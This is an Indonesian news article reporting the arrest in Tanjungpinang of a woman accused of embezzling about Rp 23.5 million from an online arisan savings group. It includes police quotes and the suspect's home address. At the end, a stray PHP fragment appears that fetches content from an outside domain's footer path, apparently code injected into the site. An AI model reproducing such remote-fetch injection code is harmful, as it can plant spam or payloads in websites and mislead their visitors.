Miris!! Diduga Nipu Uang Arisan Puluhan Juta Rupiah, Wanita Cantik Ini Digulung Polisi

Kamis, 10 Februari 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Tanjungpinang l Jejakkasus.info – Memilik paras cantik, bertubuh molek dan berkulit kuning langsat, rupanya tak sepadan dengan perangai wanita ini. Usia yang tergolong muda dan masa depan yang panjang, tak membuat ES (25) berpikir panjang.

Tapi apalah daya, nasi sudah menjadi bubur, kini ES (25) harus mempertanggung jawabkan perbuatannya dan berurusan dengan kepolisian Kota Tanjungpinang.

Dan akibat ulahnya pula, NM (pelapor) yang tak lain rekan arisannya, harus menelan pil pahit alami kerugian hingga Rp 23,500.000 (Dua puluh tiga juta lima ratua ribu rupiah), dan berujung laporaan Polisi.

Puncaknya, Kasatreskrim Polres Tanjungpinang, AKP Awal Sya’ban Harahap S.I.K.,M.H beserta jajarannya mencokol pelaku dikediamannya jl Lr. Bakar Batu. No 18 B, Kota Tanjungpinang, Selasa (08/02) sekira pukul 14.00 WIB sore, setelah menetapkan ES (25) menjadi tersangka.

Baca Juga:  Polres Sukabumi Ringkus Tersangka Penipuan dan Penggelapan 

Dan diisaksikaan perangkat RT setempat, pelaku ES (25) tak berkutik dan pasrah digiring ke Polres Tanjungpinang.

Kepala Satuan Reserse kriminal (Kasat Reskrim) Polres Tanjungpinang, AKP Awal Sya’ban Harahap S.I.K.,MH menyampaikan, kita mendapatkan laporaan dari salah satu warga berinisial NM, terkait adanya dugaan tindak pidana penipuan atau penggelapan, dengan modus arisan online.

“Lantas, kita lakukan serangkaian proses penyidikan terhadap saudari ES (25), hingga penetapan status tersangka,” papar Awal Sya’ban Harahap, Rabu (09/02/2022) sore.

Baca Juga:  Modus Pinjam, Pelaku Penggelapan Motor di Jombang Diamankan Polisi

Adapun kronologinya bermula, dibulan november tahun 2021 lalu, pelaku ES (25) selaku owner group Arisan Confiance menampilkan permainan arisan jenis baru, yakni Onepay digroup whatsapp (WA) .

Modus operandinya adalah dengan menarik perhatian calon member, bahwa arisan yang dikelolanya berbadan hukum dan terpercaya, sehingga NM (pelapor) tertarik dan percaya.

Kemudian, para member terlebih dahulu harus menyerahkan sejumlah uang (arisan-red) sesuai dengan nominal yang telah ditentukaan ownernya, dengan cara mentransferkan sejumlah uang melalui rekening Bank BCA atas nama pelaku ES (25) sendiri.

Setelah terkumpul, baru arisan dinilai dan owner bertanggung jawab menyerahkan sejumlah uang kepada member yang get (dapat), namun disinilah awal mula permasalahan muncul. Setelah waktu get (dapat) arisan dari masing-masing kloter, pelaku ES (25) berkilah dan enggan menyerahkan uang arisan dengan alasan, uang telah ludes digunakan untuk keperluan pribadinya.

Baca Juga:  Gelapkan Uang untuk Judi Online, Pelaku Diringkus Satreskrim Polres Buleleng

Bak disambar petir, NM (pelapor) yang merasa terperdaya sontak kaget dan berujung melaporkan ES ke Polres Tanjungpinang.

Tersangka ES, lanjut Awal, dijerat dengan pasal 372 dan pasal 375 KUHP tentang penipuan dan penggelapan dengan ancaman kurungan badan paling lama 4 tahun penjara.

“Dan saat ini, untuk tersangka ES telah mengakui perbuatannya dan telah dilakukan penahanan,” tutup Awal Sya’ban Harahap. (AD)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba
Seorang Pengedar Narkoba diamankan di Pematang Pasir Ketapang
Diduga Pembunuh Supir Travel Kuala Tungkal, Spesial Perampok Sindikat Jaringan antar Provinsi
Satreskrim Polres Indramayu gulung Anak-anak Terlibat Tawuran
Polresta Cirebon takkan Berhenti berantas Narkoba dan Obat-obatan Terlarang
Pelaku Curas di Desa Lelea, Dibekuk Polisi
Maraknya Perjudian 303 Sabung Ayam di Desa Bedanten, Kecamatan Bunga, Kabupaten Gresik Tak Tersentuh Hukum
Peredaran Ganja Jaringan Sumatera Dibongkar Polisi

Berita Terkait

Kamis, 19 September 2024 - 22:04 WIB

Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba

Minggu, 15 September 2024 - 11:40 WIB

Seorang Pengedar Narkoba diamankan di Pematang Pasir Ketapang

Minggu, 15 September 2024 - 08:44 WIB

Diduga Pembunuh Supir Travel Kuala Tungkal, Spesial Perampok Sindikat Jaringan antar Provinsi

Senin, 9 September 2024 - 21:33 WIB

Satreskrim Polres Indramayu gulung Anak-anak Terlibat Tawuran

Senin, 9 September 2024 - 21:13 WIB

Polresta Cirebon takkan Berhenti berantas Narkoba dan Obat-obatan Terlarang

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>